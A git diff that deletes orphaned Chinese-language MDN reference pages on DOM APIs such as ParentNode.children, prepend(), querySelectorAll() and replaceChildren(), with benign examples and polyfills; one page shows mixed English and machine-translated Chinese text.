- - diff --git a/files/zh-cn/orphaned/web/api/parentnode/children/index.html b/files/zh-cn/orphaned/web/api/parentnode/children/index.html deleted file mode 100644 index 70a02ddcca..0000000000 --- a/files/zh-cn/orphaned/web/api/parentnode/children/index.html +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: ParentNode.children -slug: orphaned/Web/API/ParentNode/children -tags: - - Property -translation_of: Web/API/ParentNode/children -original_slug: Web/API/ParentNode/children ---- -

{{ APIRef("DOM") }}

- -

ParentNode.children 是一个只读属性,返回 一个Node的子{{domxref("Element","elements")}} ,是一个动态更新的 {{domxref("HTMLCollection")}}。

- -

语法

- -
var children = node.children;
- -
var elList = elementNodeReference.children;
-
- -

备注

- -

children 属性为只读属性,对象类型为 {{ domxref("HTMLCollection") }},你可以使用 elementNodeReference.children[1].nodeName 来获取某个子元素的标签名称。

- -

例子

- -
// parg是一个指向<p>元素的对象引用
-if (parg.childElementCount)
-// 检查这个<p>元素是否有子元素
-// 译者注:childElementCount有兼容性问题
- {
-   var children = parg.children;
-   for (var i = 0; i < children.length; i++)
-   {
-   // 通过children[i]来获取每个子元素
-   // 注意:List是一个live的HTMLCollection对象,在这里添加或删除parg的子元素节点,都会立即改变List的值.
-   };
- };
-
- -

规范

- -

 

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-parentnode-children', 'ParentNode.children')}}{{Spec2('DOM WHATWG')}}Initial definition.
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support13.59 (IE6-8 incl commend nodes)104
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
-
- -

[1] Internet Explorer 6 - 8 支持该属性,但是可能会错误地包含注释 {{domxref("Comment")}} 节点。

- -

相关链接

- - diff --git a/files/zh-cn/orphaned/web/api/parentnode/firstelementchild/index.html b/files/zh-cn/orphaned/web/api/parentnode/firstelementchild/index.html deleted file mode 100644 index 8e658b4adc..0000000000 --- a/files/zh-cn/orphaned/web/api/parentnode/firstelementchild/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Element.firstElementChild -slug: orphaned/Web/API/ParentNode/firstElementChild -translation_of: Web/API/ParentNode/firstElementChild -original_slug: Web/API/ParentNode/firstElementChild ---- -

{{ APIRef("DOM") }}

- -

ParentNode.firstElementChild 只读属性,返回对象的第一个子 {{domxref("元素")}}, 如果没有子元素,则为null。

- -
-

他的属性最初是在{{domxref("element遍历")}}纯接口中定义的。由于这个接口包含两组不同的属性,一个针对具有子元素的{{domxref("Node")}},一个针对子元素的属性,因此它们被移动到两个单独的纯接口中,{{domxref("ParentNode")}}和{{domxref("ChildNode")}}。在本例中,firstElementChild移动到{{domxref("ParentNode")}}。这是一个相当技术性的更改,不应该影响兼容性。

-
- -

语法

- -
var element = node.firstElementChild;
-
- -

例子

- -
<ul id="foo">
-  <li>First  (1)</li>
-  <li>Second (2)</li>
-  <li>Third  (3)</li>
-</ul>
-
-<script>
-var foo = document.getElementById('foo');
-// yields: First  (1)
-console.log(foo.firstElementChild.textContent);
-</script>
-
- -

适用于 IE8、IE9 和 Safari 的 Polyfill

- -
// Overwrites native 'firstElementChild' prototype.
-// Adds Document & DocumentFragment support for IE9 & Safari.
-// Returns array instead of HTMLCollection.
-;(function(constructor) {
-    if (constructor &&
-        constructor.prototype &&
-        constructor.prototype.firstElementChild == null) {
-        Object.defineProperty(constructor.prototype, 'firstElementChild', {
-            get: function() {
-                var node, nodes = this.childNodes, i = 0;
-                while (node = nodes[i++]) {
-                    if (node.nodeType === 1) {
-                        return node;
-                    }
-                }
-                return null;
-            }
-        });
-    }
-})(window.Node || window.Element);
- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-parentnode-firstelementchild', 'ParentNode.firstElementChild')}}{{Spec2('DOM WHATWG')}}Splitted the ElementTraversalinterface in {{domxref("ChildNode")}} and ParentNode. This method is now defined on the latter.
- The {{domxref("Document")}} and {{domxref("DocumentFragment")}} implemented the new interfaces.
{{SpecName('Element Traversal', '#attribute-firstElementChild', 'ElementTraversal.firstElementChild')}}{{Spec2('Element Traversal')}}Added its initial definition to theElementTraversal pure interface and use it on {{domxref("Element")}}.
- -

浏览器兼容性

- - - -

{{Compat("api.ParentNode.firstElementChild")}}

- -

参见

- -

Ed

- - diff --git a/files/zh-cn/orphaned/web/api/parentnode/index.html b/files/zh-cn/orphaned/web/api/parentnode/index.html deleted file mode 100644 index c6b9a42c69..0000000000 --- a/files/zh-cn/orphaned/web/api/parentnode/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: ParentNode -slug: orphaned/Web/API/ParentNode -tags: - - API - - DOM - - Mixin - - Node - - 参考 - - 接口 - - 节点 -translation_of: Web/API/ParentNode -original_slug: Web/API/ParentNode ---- -
{{APIRef("DOM")}}
- -

ParentNode 混合了所有(拥有子元素的) {{domxref("Node")}} 对象包含的共有方法和属性。

- -

ParentNode 是一个原始接口,不能够创建这种类型的对象;它在 {{domxref("Element")}}、{{domxref("Document")}} 和 {{domxref("DocumentFragment")}} 对象上被实现。

- -

属性

- -
-
{{domxref("ParentNode.childElementCount")}} {{readonlyInline}}
-
返回一个当前 ParentNode 所含有的后代数量。
-
{{domxref("ParentNode.children")}} {{readonlyInline}}
-
返回一个包含 ParentNode 所有后代 {{domxref("Element")}} 对象的动态 {{domxref("HTMLCollection")}} 对象,忽略所有非元素子节点。
-
{{domxref("ParentNode.firstElementChild")}} {{readonlyInline}}
-
返回父节点的第一个 {{domxref("Element")}} 后代,没有时返回 null
-
{{domxref("ParentNode.lastElementChild")}} {{readonlyInline}}
-
返回父节点的最后一个 {{domxref("Element")}} 后代,没有时返回 null
-
- -

方法

- -
-
{{domxref("ParentNode.append()")}} {{experimental_inline}}
-
在父节点 ParentNode 的最后一个后代后面插入一组 {{domxref("Node")}} 对象或 {{domxref("DOMString")}} 对象。{{domxref("DOMString")}} 对象会以同等的 {{domxref("Text")}} 节点插入。
-
{{domxref("ParentNode.prepend()")}} {{experimental_inline}}
-
在父节点 ParentNode 第一个后代前插入一组 {{domxref("Node")}} 对象或者 {{domxref("DOMString")}} 对象。{{domxref("DOMString")}} 对象会以同等的 {{domxref("Text")}} 节点插入。
-
{{domxref("ParentNode.querySelector()")}}
-
返回以当前元素为根元素,匹配给定选择器的第一个元素 {{domxref("Element")}}。
-
{{domxref("ParentNode.querySelectorAll()")}}
-
返回一个 {{domxref("NodeList")}},表示以当前元素为根元素的匹配给定选择器组的元素列表。
-
- -

规范

- - - - - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('DOM WHATWG', '#parentnode', 'ParentNode')}}{{Spec2('DOM WHATWG')}}Split the ElementTraversal interface into {{domxref("ChildNode")}} and {{domxref("ParentNode")}}. The {{domxref("ParentNode.firstElementChild")}}, {{domxref("ParentNode.lastElementChild")}}, and {{domxref("ParentNode.childElementCount")}} properties are now defined on the latter. Added the {{domxref("ParentNode.children")}} property, and the {{domxref("ParentNode.querySelector()")}}, {{domxref("ParentNode.querySelectorAll()")}}, {{domxref("ParentNode.append()")}}, and {{domxref("ParentNode.prepend()")}} methods.
{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}{{Spec2('Element Traversal')}}Added the initial definition of its properties to the ElementTraversal pure interface and used it on {{domxref("Element")}}.
- -

浏览器兼容性

- - - -

{{Compat("api.ParentNode")}}

- -

参见

- - diff --git a/files/zh-cn/orphaned/web/api/parentnode/lastelementchild/index.html b/files/zh-cn/orphaned/web/api/parentnode/lastelementchild/index.html deleted file mode 100644 index 566d3a1976..0000000000 --- a/files/zh-cn/orphaned/web/api/parentnode/lastelementchild/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Element.lastElementChild -slug: orphaned/Web/API/ParentNode/lastElementChild -translation_of: Web/API/ParentNode/lastElementChild -original_slug: Web/API/ParentNode/lastElementChild ---- -

{{ APIRef("DOM") }}

- -

只读属性 ParentNode.lastElementChild 返回对象的最后一个子{{domxref("Element", "元素")}},如果没有子元素,则返回 null

- -
-

This property was initially defined in the {{domxref("ElementTraversal")}} pure interface. As this interface contained two distinct set of properties, one aimed at {{domxref("Node")}} that have children, one at those that are children, they have been moved into two separate pure interfaces, {{domxref("ParentNode")}} and {{domxref("ChildNode")}}. In this case, lastElementChild moved to {{domxref("ParentNode")}}. This is a fairly technical change that shouldn't affect compatibility.

-
- -

语法

- -
var element = node.lastElementChild; 
- -

例子

- -
<ul id="foo">
-  <li>First  (1)</li>
-  <li>Second (2)</li>
-  <li>Third  (3)</li>
-</ul>
-
-<script>
-var foo = document.getElementById('foo');
-// yields: Third  (3)
-console.log(foo.lastElementChild.textContent);
-</script>
-
- -

适用于 IE8、IE9 和 Safari 的 Polyfill

- -
// Overwrites native 'lastElementChild' prototype.
-// Adds Document & DocumentFragment support for IE9 & Safari.
-// Returns array instead of HTMLCollection.
-;(function(constructor) {
-    if (constructor &&
-        constructor.prototype &&
-        constructor.prototype.lastElementChild == null) {
-        Object.defineProperty(constructor.prototype, 'lastElementChild', {
-            get: function() {
-                var node, nodes = this.childNodes, i = nodes.length - 1;
-                while (node = nodes[i--]) {
-                    if (node.nodeType === 1) {
-                        return node;
-                    }
-                }
-                return null;
-            }
-        });
-    }
-})(window.Node || window.Element);
-
- -

规范

- - - - - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('DOM WHATWG', '#dom-parentnode-lastelementchild', 'ParentNode.lastElementChild')}}{{Spec2('DOM WHATWG')}}Splitted the ElementTraversal interface in {{domxref("ChildNode")}} and ParentNode. This method is now defined on the latter.
- The {{domxref("Document")}} and {{domxref("DocumentFragment")}} implemented the new interfaces.
{{SpecName('Element Traversal', '#attribute-lastElementChild', 'ElementTraversal.lastElementChild')}}{{Spec2('Element Traversal')}}Added its initial definition to the ElementTraversal pure interface and use it on {{domxref("Element")}}.
- -

浏览器兼容性

- - - -

{{Compat("api.ParentNode.lastElementChild")}}

- -

参见

- - diff --git a/files/zh-cn/orphaned/web/api/parentnode/prepend/index.html b/files/zh-cn/orphaned/web/api/parentnode/prepend/index.html deleted file mode 100644 index c2779973b0..0000000000 --- a/files/zh-cn/orphaned/web/api/parentnode/prepend/index.html +++ /dev/null @@ -1,135 +0,0 @@ ---- -title: ParentNode.prepend() -slug: orphaned/Web/API/ParentNode/prepend -tags: - - API - - DOM - - Method - - Node - - ParentNode - - Reference - - prepend - - 方法 -translation_of: Web/API/ParentNode/prepend -original_slug: Web/API/ParentNode/prepend ---- -
{{APIRef("DOM")}}
- -

ParentNode.prepend 方法可以在父节点的第一个子节点之前插入一系列{{domxref("Node")}}对象或者{{domxref("DOMString")}}对象。{{domxref("DOMString")}}会被当作{{domxref("Text")}}节点对待(也就是说插入的不是HTML代码)。

- -

语法

- -
ParentNode.prepend((Node or DOMString)... nodes);
-
- -

参数

- -
-
nodes
-
要插入的一系列{{domxref("Node")}}或者{{domxref("DOMString")}}。
-
- -

返回值

- -

undefined.

- -

错误

- - - -

例子

- -

Prepending an element

- -
var parent = document.createElement("div");
-var p = document.createElement("p");
-var span = document.createElement("span");
-parent.append(p);
-parent.prepend(span);
-
-console.log(parent.childNodes); // NodeList [ <span>, <p> ]
-
- -

Prepending text

- -
var parent = document.createElement("div");
-parent.append("Some text");
-parent.prepend("Headline: ");
-
-console.log(parent.textContent); // "Headline: Some text"
- -

Appending an element and text

- -
var parent = document.createElement("div");
-var p = document.createElement("p");
-parent.prepend("Some text", p);
-
-console.log(parent.childNodes); // NodeList [ #text "Some text", <p> ]
- -

ParentNode.prepend() is unscopable

- -

prepend()不能在with语句内使用,详情参考{{jsxref("Symbol.unscopables")}}。

- -
var parent = document.createElement("div");
-
-with(parent) {
-  prepend("foo");
-}
-// ReferenceError: prepend is not defined 
- -

Polyfill

- -

使用下面的代码在IE9或更高版本中模拟prepend()方法:

- -
// from: https://github.com/jserz/js_piece/blob/master/DOM/ParentNode/prepend()/prepend().md
-(function (arr) {
-    arr.forEach(function (item) {
-        item.prepend = item.prepend || function () {
-            var argArr = Array.prototype.slice.call(arguments),
-                docFrag = document.createDocumentFragment();
-
-            argArr.forEach(function (argItem) {
-                var isNode = argItem instanceof Node;
-                docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
-            });
-
-            this.insertBefore(docFrag, this.firstChild);
-        };
-    });
-})([Element.prototype, Document.prototype, DocumentFragment.prototype]);
- -

说明

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-parentnode-prepend', 'ParentNode.prepend()')}}{{Spec2('DOM WHATWG')}}Initial definition.
- -

兼容性

- - - -

{{Compat("api.ParentNode.prepend")}}

- -

See also

- - diff --git a/files/zh-cn/orphaned/web/api/parentnode/queryselector/index.html b/files/zh-cn/orphaned/web/api/parentnode/queryselector/index.html deleted file mode 100644 index 7623caa0ba..0000000000 --- a/files/zh-cn/orphaned/web/api/parentnode/queryselector/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: ParentNode.querySelector() -slug: orphaned/Web/API/ParentNode/querySelector -translation_of: Web/API/ParentNode/querySelector -original_slug: Web/API/ParentNode/querySelector ---- -

{{APIRef("DOM")}}{{Draft}}

- -

{{DOMxRef("ParentNode")}} mixin 将 querySelector() 方法定义为返回一个 {{DOMxRef("Element")}} 表示与指定的选择器组匹配的第一个元素,这些选择器是调用该方法的对象的后代。

- -

如果您需要与选择器列表匹配的所有元素,使用 {{DOMxRef("ParentNode.querySelectorAll", "querySelectorAll()")}} 。

- -
-

Note: 该方法的实现为 {{DOMxRef("Document.querySelector()")}}, {{DOMxRef("DocumentFragment.querySelector()")}} 和 {{DOMxRef("Element.querySelector()")}}.

-
- -

语法

- -
element = parentNode.querySelector(selectors);
-
- -

参数

- -
-
selectors
-
{{DOMxRef("DOMString")}} 包含一个或多个要匹配的选择器。该字符串必须是浏览器支持的compound selector list ;如果不是, 会抛出 SyntaxError 异常. 查阅 Locating DOM elements using selectors 获取有关选择器使用的更多信息. 可以通过使用逗号分隔多个选择器来指定它们。
-
- -
-

Note: 必须使用反斜杠字符转义不属于CSS语法的字符。由于JavaScript也使用退格转义,因此在使用这些字符编写字符串文字是必须特别小心。查阅 {{anch("Escaping special characters")}} 获取更多信息。

-
- -

返回值

- -

第一个 {{DOMxRef("Element")}} 匹配至少一个指定的选择器,如果没有找到这样的元素,返回 null 。

- -
-

Note: 如果指定的选择器包含 CSS pseudo-element, 则返回值始终为 null.

-
- -

Exceptions

- -
-
SyntaxError
-
指定的 selectors 字符串语法无效。
-
- -

Specifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-parentnode-queryselector", "ParentNode.querySelector()")}}{{Spec2("DOM WHATWG")}}Living standard
{{SpecName("Selectors API Level 2", "#dom-parentnode-queryselector", "ParentNode.querySelector()")}}{{Spec2("Selectors API Level 2")}}No change
{{SpecName("DOM4", "#dom-parentnode-queryselector", "ParentNode.querySelector()")}}{{Spec2("DOM4")}}Initial definition
{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}{{Spec2("Selectors API Level 1")}}Original definition
- -

Browser compatibility

- - - -

{{Compat("api.ParentNode.querySelector")}}

- -

See also

- - diff --git a/files/zh-cn/orphaned/web/api/parentnode/queryselectorall/index.html b/files/zh-cn/orphaned/web/api/parentnode/queryselectorall/index.html deleted file mode 100644 index 10936dd5d2..0000000000 --- a/files/zh-cn/orphaned/web/api/parentnode/queryselectorall/index.html +++ /dev/null @@ -1,158 +0,0 @@ ---- -title: ParentNode.querySelectorAll() -slug: orphaned/Web/API/ParentNode/querySelectorAll -tags: - - API - - DOM - - Document - - ParentNode - - 参考 - - 方法 - - 查找 - - 选择器 -translation_of: Web/API/ParentNode/querySelectorAll -original_slug: Web/API/ParentNode/querySelectorAll ---- -
{{ApiRef("DOM")}}
- -

The {{domxref("ParentNode")}} mixin defines the querySelectorAll() method 返回一个 {{domxref("NodeList")}} 表示元素的列表,把当前的元素作为根与指定的选择器组相匹配。

- -

如果你只需要一个结果,可以考虑使用{{domxref("ParentNode.querySelector", "querySelector()")}}方法来代替。

- -
-

Note: This method is implemented as {{domxref("Element.querySelectorAll()")}}, {{domxref("Document.querySelectorAll()")}}, and {{domxref("DocumentFragment.querySelectorAll()")}}

-
- -

语法

- -
elementList = parentNode.querySelectorAll(selectors);
-
- -

参数

- -
-
selectors
-
一个或多个CSS选择器,这些选择器由逗号隔开。
-
A {{domxref("DOMString")}} containing one or more selectors to match against. This string must be a valid CSS selector string; if it's not, a SyntaxError exception is thrown. See Locating DOM elements using selectors for more information about using selectors to identify elements. Multiple selectors may be specified by separating them using commas.
-
- -
-

Note: Characters which are not part of standard CSS syntax must be escaped using a backslash character. Since JavaScript also uses backslash escaping, special care must be taken when writing string literals using these characters. See {{anch("Escaping special characters")}} for more information.

-
- -

返回值

- -

一个不存活的 {{domxref("NodeList")}} ,每个子节点拥有一个 {{domxref("Element")}} 对象,其中每个子节点至少与一个选择器相匹配。

- -
-

Note: 如果指定的 selectors 包含CSS pseudo-element,那么返回的列表始终为空。

-
- -

Exceptions

- -
-
SyntaxError
-
The syntax of the specified selectors string is not valid.
-
- -

例子

- -

To obtain a {{domxref("NodeList")}} of all of the {{HTMLElement("p")}} elements in the document:

- -
var matches = document.querySelectorAll("p");
- -

这个例子返回了所有 class 为 "note" 或者 "alert" 的 div 元素的一个列表:

- -
var matches = document.querySelectorAll("div.note, div.alert");
- -

Here, we get a list of <p> elements whose immediate parent element is a {{domxref("div")}} with the class "highlighted" and which are located inside a container whose ID is "test".

- -
var container = document.querySelector("#test");
-var matches = container.querySelectorAll("div.highlighted > p");
- -

This example uses an attribute selector to return a list of the {{domxref("iframe")}} elements in the document that contain an attribute named "data-src":

- -
var matches = document.querySelectorAll("iframe[data-src]");
- -

Here, an attribute selector is used to return a list of the list items contained within a list whose ID is "userlist" which have a "data-active" attribute whose value is "1":

- -
var container = document.querySelector("#userlist");
-var matches = container.querySelectorAll("li[data-active=1]");
- -

User notes

- -

querySelectorAll() behaves differently than most common JavaScript DOM libraries, which might lead to unexpected results.

- -

HTML

- -

Consider this HTML, with its three nested {{HTMLElement("div")}} blocks.

- -
<div class="outer">
-  <div class="select">
-    <div class="inner">
-    </div>
-  </div>
-</div>
- -

JavaScript

- -
var select = document.querySelector('.select');
-var inner = select.querySelectorAll('.outer .inner');
-inner.length; // 1, not 0!
-
- -

In this example, when selecting ".outer .inner" in the context the <div> with the class "select", the element with the class ".inner" is still found, even though .outer is not a descendant of the base element on which the search is performed (".select"). By default, querySelectorAll() only verifies that the last element in the selector is within the search scope.

- -

The {{cssxref(":scope")}} pseudo-class restores the expected behavior, only matching selectors on descendants of the base element:

- -
var select = document.querySelector('.select');
-var inner = select.querySelectorAll(':scope .outer .inner');
-inner.length; // 0
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}{{Spec2("DOM WHATWG")}}Living standard
{{SpecName("Selectors API Level 2", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}{{Spec2("Selectors API Level 2")}}No change
{{SpecName("DOM4", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}{{Spec2("DOM4")}}Initial definition
{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}{{Spec2("Selectors API Level 1")}}Original definition
- -

浏览器兼容性

- - - -

{{Compat("api.ParentNode.querySelectorAll")}}

- -

参见

- - diff --git a/files/zh-cn/orphaned/web/api/parentnode/replacechildren/index.html b/files/zh-cn/orphaned/web/api/parentnode/replacechildren/index.html deleted file mode 100644 index d01a334fd7..0000000000 --- a/files/zh-cn/orphaned/web/api/parentnode/replacechildren/index.html +++ /dev/null @@ -1,162 +0,0 @@ ---- -title: ParentNode.replaceChildren() -slug: orphaned/Web/API/ParentNode/replaceChildren -translation_of: Web/API/ParentNode/replaceChildren -original_slug: Web/API/ParentNode/replaceChildren ---- -
{{APIRef("DOM")}}{{seecompattable}}
- -

ParentNode.replaceChildren() 方法将一个 {{domxref("Node")}} 的后代替换为指定的后代集合。这些新的后代可以为 {{domxref("DOMString")}} 或 {{domxref("Node")}} 对象。

- -

语法

- -
// [Throws, Unscopable]
-ParentNode.replaceChildren(...nodesOrDOMStrings) // 返回 undefined
-
- -

参数

- -
-
nodesOrDOMStrings
-
一组用于替换 ParentNode 现有后代的 {{domxref("Node")}} 或 {{domxref("DOMString")}} 对象。若没有指定替代对象时,ParentNode 的所有后代都将被清空。
-
- -

异常

- - - -

例子

- -

清空一个节点

- -

replaceChildren() 为清空一个节点的后代提供了非常方便的机制,您只需在父节点不指定任何实参调用该方法即可。

- -
myNode.replaceChildren();
- -

在父节点之间转移节点

- -

replaceChildren() 允许您更轻松地在父节点之间转移节点,而无需依赖冗余的循环代码。例如,有一个简单的应用程序让您选择您派对上的食物。它的 HTML 可能如下:

- -
<h2>派对食物列表</h2>
-
-<main>
-  <div>
-    <label for="no">不,谢谢了!</label>
-
-    <select id="no" multiple size="10">
-      <option>苹果</option>
-      <option>橘子</option>
-      <option>葡萄</option>
-      <option>香蕉</option>
-      <option>奇异果</option>
-      <option>巧克力饼干</option>
-      <option>花生饼干</option>
-      <option>巧克力棒</option>
-      <option>火腿三明治</option>
-      <option>乳酪三明治</option>
-      <option>沙拉三明治</option>
-      <option>冰淇淋</option>
-      <option>果冻</option>
-      <option>胡萝卜和鹰嘴豆泥</option>
-      <option>玛格丽特披萨</option>
-      <option>腊肠比萨</option>
-      <option>素比萨</option>
-    </select>
-  </div>
-
-  <div class="buttons">
-    <button id="to-yes">转移到"是" --&gt;</button>
-    <button id="to-no">&lt;-- 转移到 "否"</button>
-  </div>
-
-  <div>
-    <label for="yes">是的,请!</label>
-
-    <select id="yes" multiple size="10">
-
-    </select>
-  </div>
-</main>
- -

使用一些简单的 CSS 将两个选择列表排成一行,并将控制按钮放置在它们之间是很有意义的:

- -
main {
-  display: flex;
-}
-
-div {
-  margin-right: 20px;
-}
-
-label, button {
-  display: block;
-}
-
-.buttons {
-  display: flex;
-  flex-flow: column;
-  justify-content: center;
-}
-
-select {
-  width: 200px;
-}
- -

我们要做的是,当按下 “是” 按钮时,将 “否” 列表中的所有选定选项都转移到 “是” 列表中,然后当按下“否”按钮时,将 “是” 列表中的所有选定选项都转移到 “否” 列表中。

- -

为此,我们为每个按钮提供一个 click 事件处理句柄,该事件句柄将所选选项赋值到第一个常量中,将要转移到的列表中的现有的选项赋值到第二个常量中。然后,它会调用列表的 replaceChildren() 方法,使用延展运算符传入两个常量,进而将两个常量中包含的所有选项转移到目标列表。

- -
const noSelect = document.getElementById('no');
-const yesSelect = document.getElementById('yes');
-const noBtn = document.getElementById('to-no');
-const yesBtn = document.getElementById('to-yes');
-
-yesBtn.addEventListener('click', () => {
-  const selectedTransferOptions = document.querySelectorAll('#no option:checked');
-  const existingYesOptions = document.querySelectorAll('#yes option');
-  yesSelect.replaceChildren(...selectedTransferOptions, ...existingYesOptions);
-});
-
-noBtn.addEventListener('click', () => {
-  const selectedTransferOptions = document.querySelectorAll('#yes option:checked');
-  const existingNoOptions = document.querySelectorAll('#no option');
-  noSelect.replaceChildren(...selectedTransferOptions, ...existingNoOptions);
-});
- -

最终结果如下:

- -

{{EmbedLiveSample('Transferring_nodes_between_parents', '100%', '350')}}

- -

规范

- - - - - - - - - - - - - - -
规范状态备注
{{SpecName('DOM WHATWG', '#dom-parentnode-replacechildren', 'ParentNode.replaceChildren()')}}{{Spec2('DOM WHATWG')}}Initial definition.
- -

浏览器兼容性

- - - -

{{Compat("api.ParentNode.replaceChildren")}}

- -

相关链接

- - diff --git a/files/zh-cn/orphaned/web/api/renderingcontext/index.html b/files/zh-cn/orphaned/web/api/renderingcontext/index.html deleted file mode 100644 index 9133b5fd7f..0000000000 --- a/files/zh-cn/orphaned/web/api/renderingcontext/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: RenderingContext -slug: orphaned/Web/API/RenderingContext -translation_of: Web/API/RenderingContext -original_slug: Web/API/RenderingContext ---- -

{{APIRef("Canvas API")}}

- -

RenderingContext 是一个辅助类型,描述下面任何一个渲染上下文:  {{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}} 或者 {{domxref("WebGL2RenderingContext")}} (继承自 WebGLRenderingContext)。

- -

这是简化规范的辅助类型,它不是一个接口,也没有对象实现它。

- -

规范描述

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#renderingcontext", "RenderingContext")}}{{Spec2('HTML WHATWG')}}Initial definition.
- -

 

diff --git a/files/zh-cn/orphaned/web/api/request/context/index.html b/files/zh-cn/orphaned/web/api/request/context/index.html deleted file mode 100644 index cc073a988b..0000000000 --- a/files/zh-cn/orphaned/web/api/request/context/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Request.context -slug: orphaned/Web/API/Request/context -translation_of: Web/API/Request/context -original_slug: Web/API/Request/context ---- -
{{APIRef("Fetch")}}{{deprecated_header()}}
- -

The deprecated 弃用context所述的只读属性{{domxref("请求")}}接口包含请求的上下文(例如,audioimageiframe)。这定义了要获取的资源类型。它已由{{domxref("Request.destination”,“ destination")}}属性取代。 This defines what sort of resource is being fetched. This has been replaced by the {{domxref("Request.destination", "destination")}} property.

- -

The context of a request is only relevant in the 请求的上下文仅与ServiceWorker API相关服务人员可以根据URL是用于图像还是可嵌入对象(例如{{htmlelement("视频")}},{{domxref("iframe")}}等)进行决策。; a service worker can make decisions based on whether the URL is for an image, or an embeddable object such as a {{htmlelement("video")}}, {{domxref("iframe")}}, etc.

- -
-

Note注意:您可以在“ 获取规范请求上下文”部分中找到不同可用上下文的完整列表,包括关联的上下文框架类型,CSP指令和平台功能示例 section.

-
- -

Syntax

- -
var myContext = request.context;
- -

Value

- -

A {{domxref("RequestContext")}} value.一个{{domxref("RequestContext")}}值。

- -

Example例子

- -

In the following snippet, we create a new request using the {{domxref("Request.Request()")}} constructor (for an image file in the same directory as the script), then save the request context in a variable:在以下代码段中,我们使用{{domxref("Request.Request()")}}}构造函数创建一个新请求(用于与脚本位于同一目录中的图像文件),然后将请求上下文保存在变量中:

- -
var myRequest = new Request('flowers.jpg');
-var myContext = myRequest.context; // returns the empty string by default
- -

Browser compatibility浏览器兼容性

- -

{{Compat("api.Request.context")}}

- -

更多

- - diff --git a/files/zh-cn/orphaned/web/api/rtcpeerconnection/getdefaulticeservers/index.html b/files/zh-cn/orphaned/web/api/rtcpeerconnection/getdefaulticeservers/index.html deleted file mode 100644 index ff36e1741e..0000000000 --- a/files/zh-cn/orphaned/web/api/rtcpeerconnection/getdefaulticeservers/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: RTCPeerConnection.getDefaultIceServers() -slug: orphaned/Web/API/RTCPeerConnection/getDefaultIceServers -translation_of: Web/API/RTCPeerConnection/getDefaultIceServers -original_slug: Web/API/RTCPeerConnection/getDefaultIceServers ---- -

{{APIRef("WebRTC")}}{{SeeCompatTable}}

- -

{{domxref("RTCPeerConnection")}} 接口的方法 getDefaultIceServers() 返回一个基于  {{domxref("RTCIceServer")}} 字典的对象数组。如果在 {{domxref("RTCPeerConnection")}} 的 {{domxref("RTCConfiguration")}} 中没有设置,该数组指向浏览器缺省使用的ICE servers,前提是浏览器确实存在缺省的ICE servers。然而,浏览器完全不必提供任何的缺省ICE Servers。

- -

语法

- -
 var defaultIceServers = RTCPeerConnection.getDefaultIceServers();
- -

返回值

- -

一个 ICE servers 的数组,以基于 {{domxref("RTCIceServer")}} 的对象组成,当没有在 {{domxref("RTCPeerConnection")}} 的设置中进行设置时,浏览器将使用它们。如果浏览器没有提供缺省值,将返回一个空数组,该属性的值永远不是 null

- -

例子

- -
var pc = new RTCPeerConnection();
-var iceServers = pc.getDefaultIceServers();
-
-if (iceServers.length === 0) {
-  // Deal with the lack of default ICE servers, possibly by using our own defaults
-}
- -

Specifications

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
WebRTC Extensions
- -

Browser compatibility

- - - -

{{Compat("api.RTCPeerConnection.getDefaultIceServers")}}

- -

See also

- - diff --git a/files/zh-cn/orphaned/web/api/textrange/text/index.html b/files/zh-cn/orphaned/web/api/textrange/text/index.html deleted file mode 100644 index 8c20714e44..0000000000 --- a/files/zh-cn/orphaned/web/api/textrange/text/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: TextRange.text -slug: orphaned/Web/API/TextRange/text -tags: - - API - - DHTML - - DOM - - TextRange -original_slug: Web/API/TextRange/text ---- -
{{ ApiRef("DOM") }}{{Non-standard_Header}}
- -
-

IE Only

-该属性是IE专有的。尽管IE很好地支持它,但大部分其它浏览器已经不支持该属性。该属性仅应在需兼容低版本IE时作为其中一种方案,而不是在跨浏览器的脚本中完全依赖它。
- -

{{domxref("TextRange")}} 接口中的属性 text 用于以 {{domxref("DOMString")}} 形式获取或设置区域内的纯文本内容。该更改直接作用到 DOM 树中,并清除区域内原有的非纯文本元素。注意,该属性忽略所有格式数据,因此若要获取选区中的HTML内容,请使用 {{domxref("TextRange.htmlText")}} 属性。

- -

语法

- -
var tString = textRange.text;
-textRange.text = oString;
-
- -

返回值

- -

